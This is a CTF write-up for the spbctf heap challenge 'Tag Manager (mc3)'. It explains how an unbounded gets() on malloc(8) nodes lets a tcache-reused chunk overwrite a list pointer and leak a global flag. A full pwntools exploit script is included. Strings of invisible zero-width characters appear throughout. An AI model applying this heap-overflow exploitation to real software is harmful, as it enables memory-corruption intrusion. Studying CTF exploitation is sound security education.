← Back to Writeups
CUSTOMMediumpwn

Tag Manager (mc3)

XESXOR9/2/20263 min read
#pwn#custom#medium#bss_global_leak#fake_node_crafting#heap_overflow#next_pointer_overwrite#tcache_reuse

Tag Manager (mc3)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: bss_global_leak, fake_node_crafting, heap_overflow, next_pointer_overwrite, tcache_reuse

Summary

Task: heap tag manager (malloc(8) nodes) where new_tag writes the label PAST the chunk via unbounded gets(), giving a linear heap overflow into the adjacent chunk's next pointer. Solution: free the lower chunk, reuse its tcache slot to overflow an earlier node's next pointer to 0x6020d8 so the list walker prints node+8 == the FLAG BSS global — no code exec needed.

Tag Manager (mc3) — pwn_spbctf

Description

Tag Manager — Mic Check (heap, tier pwn7). Author: Vlad Roskov (@mrvos). "Pwn the tag manager to ..." Remote: nc 109.233.56.90 11713 (pwn.spbctf.ru)

A menu-driven "tag manager" that keeps tags in a singly-linked list. The flag is read from flag.txt into a BSS global at startup. Goal: make the program reveal the flag through its normal list-printing functionality.

Analysis

Binary properties (mc3.elf):

  • NON-PIE (loaded at 0x400000) → fixed global addresses.
  • NX, Partial RELRO, STACK CANARY, not stripped. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Relevant globals:

  • HEAD @ 0x6020c0 — head pointer of the singly-linked tag list.
  • FLAG @ 0x6020e0 — contents of flag.txt, loaded once at startup via fgets(FLAG, 0x80, fp).

Tag node layout — each tag is a malloc(8) chunk:

node+0x00:  next_ptr (8 bytes)
node+0x08:  label string ...   <-- WRITTEN PAST THE 8-BYTE ALLOCATION

Menu (scanf("%1s%*c"), single char):

  • l list_tags: walk HEAD, printf("- %s\n", node+8), then node = *node.
  • n new_tag: node = malloc(8); node->next = HEAD; HEAD = node; gets(node+8).
  • r rename_tag: gets([rbp-0x20]) then gets(found+8).
  • d delete_tag: gets([rbp-0x20]), unlink + free. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug: new_tag writes the label at node+8 with an unbounded gets() on a malloc(8) chunk. The label therefore starts past the 8-byte allocation and overflows linearly into the adjacent (higher-address) chunk, including that chunk's next_ptr field. (There are also unused stack overflows in rename/delete via gets([rbp-0x20]), but they are not needed.)

Win idea — no code execution required. list_tags prints the label found at node+8. The flag lives at 0x6020e0. If a "node" sat at address 0x6020d8, then node+8 == 0x6020d8 + 8 == 0x6020e0 == FLAG. So if we make any real node's next pointer equal 0x6020d8, the list walker will treat 0x6020d8 as the next node and printf("%s", 0x6020e0) — leaking the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Heap geometry: consecutive malloc(8) chunks are 0x20 apart, and newer allocations sit at higher addresses (further from the top). The overflow in new_tag grows upward (toward higher addresses). To overwrite the next pointer of an earlier (higher) node, we first free the lower chunk and reuse its slot via tcache, then overflow upward from that reused low slot into the higher node's next field.

Chain:

  1. new A → node A at a low address.
  2. new B → node B at a higher address (B was allocated later → higher).
  3. delete A → A's chunk goes into tcache.
  4. new C → C reuses A's freed low slot. Its label is b"C"*0x18 + p64(0x6020d8): 0x18 bytes of padding fills the rest of C's 0x20-spaced chunk (label at +0x8, so 0x20 - 0x8 = 0x18), and the next 8 bytes overwrite B's next pointer with 0x6020d8.
  5. list → walker reaches B, follows next = 0x6020d8, treats it as a node, and prints its label at 0x6020d8 + 8 = 0x6020e0 = FLAG. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
from pwn import *

HOST, PORT = "109.233.56.90", 11713
FLAG_NODE = 0x6020d8   # so node+8 == FLAG (0x6020e0)

context.log_level = "info"
io = remote(HOST, PORT)

def menu(c):
    io.recvuntil(b"choice: ")
    io.sendline(c)

def new(label):
    menu(b"n"); io.recvuntil(b"label: "); io.sendline(label)

def delete(label):
    menu(b"d"); io.recvuntil(b"delete: "); io.sendline(label)

new(b"AAAA")                          # A (low addr)
new(b"BBBB")                          # B (high addr)
delete(b"AAAA")                       # free A -> tcache
new(b"C"*0x18 + p64(FLAG_NODE))       # C reuses A slot, overflow B->next = 0x6020d8
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

menu(b"l")
data = io.recvuntil(b"total", timeout=5)
print(data.decode(errors="replace"))

m = re.search(rb"spbctf\{[^}]*\}", data)
if m:
    print("\n[+] FLAG:", m.group().decode())
io.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍